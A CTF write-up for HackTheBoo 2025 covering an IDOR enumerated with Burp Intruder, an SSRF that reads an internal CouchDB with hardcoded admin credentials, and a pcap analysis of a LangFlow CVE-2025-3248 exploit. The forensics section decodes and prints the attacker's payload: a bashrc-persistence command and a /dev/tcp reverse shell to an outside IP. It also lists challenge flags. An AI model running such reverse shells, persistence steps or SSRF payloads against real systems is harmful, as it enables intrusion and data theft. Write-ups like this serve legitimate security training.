HackTheBoo CTF 2025
Web
The Gates of Broken Names [Easy]
Description
Challenge
This challenge required us to signed up and logged in to authenticated.
Users can reviews other users Publicly Published Chronicles (posts)
Create your own Public/Private Chronicles
View your own profile
Initial Discovery
There’s a possible IDOR vulnerabilities, because we can see its GET api request from network logs
It’s proven because of Private posts leaked too without requiring any authentication
Solution
I used Burp Intruder to solve this.
We can use sniper attack for attack type and use numbers as the payload type from 1 - 210 (our recent postid is 211)
Add response filter "is_private":1, this could be if you want to play safe in most CTF (Because not everytime it would give the flag directly)
But a better filter should be by using regex that directly fetch flag is HTB\ and be sure to check Regex
Flag
1
HTB{br0k3n_n4m3s_r3v3rs3d_4nd_r3st0r3d_88ef1b19ab6c71c233c1f91bf1454a12}
The Wax-Circle Reclaimed [Medium]
Description
Challenge
This question required us to authenticate with role: guardian and clearance_level: divine_authority to get the flag
Initial Discovery
Before i actually did the final solution, i thought this could be a typical weak JWT secret bruteforce questions. I used jwt_tool for that. And waste quite some time there. But still failed to crack the secret.
So i proceed to download and review source code given from the question:
1
2
3
4
// Configuration
const JWT_SECRET = process.env.JWT_SECRET || crypto.randomBytes(64).toString('hex');
const JWT_EXPIRES_IN = '24h';
const couchdbUrl = 'http://admin:waxcircle2025@127.0.0.1:5984';
From these code we find multiple key things, first. It used const JWT_SECRET = process.env.JWT_SECRET || crypto.randomBytes(64).toString('hex');. It would be imposible to crack it with a rockyou wordlists.
And there’s the hardcoded couchdbUrl http://admin:waxcircle2025@127.0.0.1:5984
So we can use the analyse-breach that will extract JSON data from any url included its internal couchdbUrl data.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
app.post('/api/analyze-breach', requireAuth, (req, res) => {
const { data_source } = req.body;
if (!data_source) return res.status(400).json({ error: 'Data source URL required' });
try {
axios.get(data_source, { timeout: 5000, maxRedirects: 0 })
.then(response => {
let data = response.data;
if (typeof data !== 'string') {
data = JSON.stringify(data);
}
// Check if data exceeds 1000 bytes
const dataSize = Buffer.byteLength(data, 'utf8');
if (dataSize > 1000) {
// Concatenate the data to fit within 1000 bytes
const truncatedData = data.substring(0, Math.floor(1000 / Buffer.byteLength(data.charAt(0), 'utf8')));
res.json({
status: 'success',
data: truncatedData,
source: data_source,
truncated: true,
originalSize: dataSize,
truncatedSize: Buffer.byteLength(truncatedData, 'utf8')
});
} else {
res.json({
status: 'success',
data: data,
source: data_source,
truncated: false,
size: dataSize
});
}
})
.catch(error => res.status(500).json({ status: 'error', message: 'External API unavailable' }));
} catch (error) {
res.status(400).json({ status: 'error', message: 'Invalid URL format' });
}
});
Solution
To test our hypothesis we can try with the base couchdb url we’ve gotten before. And, its reachable:
So we need to find users with role: guardian and also clearance_level: divine_authority and it should be elin_croft based from the server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
for (let i = 1; i <= 1000; i++) {
// Check if this is the position for elin_croft
if (i === elinCroftPosition) {
const elinPassword = generateSecurePassword(16);
generatedUsers.push({
_id: 'user_elin_croft',
type: 'user',
username: 'elin_croft',
password: elinPassword,
role: 'guardian',
clearance_level: 'divine_authority'
});
}
Final payload should be http://admin:waxcircle2025@127.0.0.1:5984/users/user_elin_croft
Flag
1
HTB{w4x_c1rcl3s_c4nn0t_h0ld_wh4t_w4s_n3v3r_b0und_970c9379f6805ba5edbe5ec11d20f076}
Forensics
Watchtower Of Mists [Easy]
Description
Challenge
The challenge consist of capture.pcap file that require us to do network analysis post incidents. And require multiple scenario answers as the flag
Before we start, unzip the file and do open the capture.pcap with Wireshark to do further analysis:
First Question
What is the LangFlow version in use? (e.g. 1.5.7)
1.2.0
Base on the pcap we can find multiple GET request and one of it was to ai.watchtower.htb:7860/api/v1/version that would reveal the Langflow used version
Second Question
What is the CVE assigned to this LangFlow vulnerability? (e.g. CVE-2025-12345)
CVE-2025-3248
Look for LangFlow version 1.2.0 cve (preferebally through DuckDuckGo) and we will given the exact known CVE for this version.
But, to verify, we can read this blog
Third Question
What is the name of the API endpoint exploited by the attacker to execute commands on the system? (e.g. /api/v1/health)
/api/v1/validate/code
ai.watchtower.htb:7860/api/v1/validate/code had POST request functions that actually being exploited. As we can see from the pcap tcp.stream eq 9
Fourth Question
What is the IP address of the attacker? (format: x.x.x.x)
188.114.96.12
Any POST or GET request source is the attacker ip:
Fifth Question
The attacker used a persistence technique, what is the port used by the reverse shell? (e.g. 4444)
7852
From tcp.stream eq 9 we would be able to find there’s one last payload with an empty response, this should be where attacker might try for Rev Shell
We can try and decrypt the payload with by using python script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Desktop/CTF/HackTheBoo2025]
└─$ cat rev.py
import base64, zlib
b = "eJwNyE0LgjAYAOC/MnZSKguNqIOCpAdDK8IIT0Pnyza1JvsIi+i313N8VC00oHSiMBohHw4h4j5KZQhxsLbNqCQFrbHrUQ60J9Ka0RoHA+USUZ+x/Nazs6hY7l+GVuxWVRA/i7KY8i62x3dmi/02OCXXV5bEs0OXhp+m1rBZo8WiBSpbQFGEvkvvv1xRPEeawzCEpbLguj8DMjVN"
decoded = zlib.decompress(base64.b64decode(b))
print(decoded.decode())
┌──(kali㉿kali)-[~/Desktop/CTF/HackTheBoo2025]
└─$ python3 rev.py
raise Exception(__import__("subprocess").check_output("echo c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=|base64 --decode >> ~/.bashrc", shell=True))
┌──(kali㉿kali)-[~/Desktop/CTF/HackTheBoo2025]
└─$ echo c2ggLWkgPiYgL2Rldi90Y3AvMTMxLjAuNzIuMC83ODUyIDA+JjE=|base64 --decode
sh -i >& /dev/tcp/131.0.72.0/7852 0>&1
Sixth Question
What is the system machine hostname? (e.g. server01)
aisrv01
The attacker injected payload that leaked the env file of the machine
Seventh Question
What is the Postgres password used by LangFlow? (e.g. Password123)
LnGFlWPassword2025
From leaked env output above, there’s PostgresDB creds information too
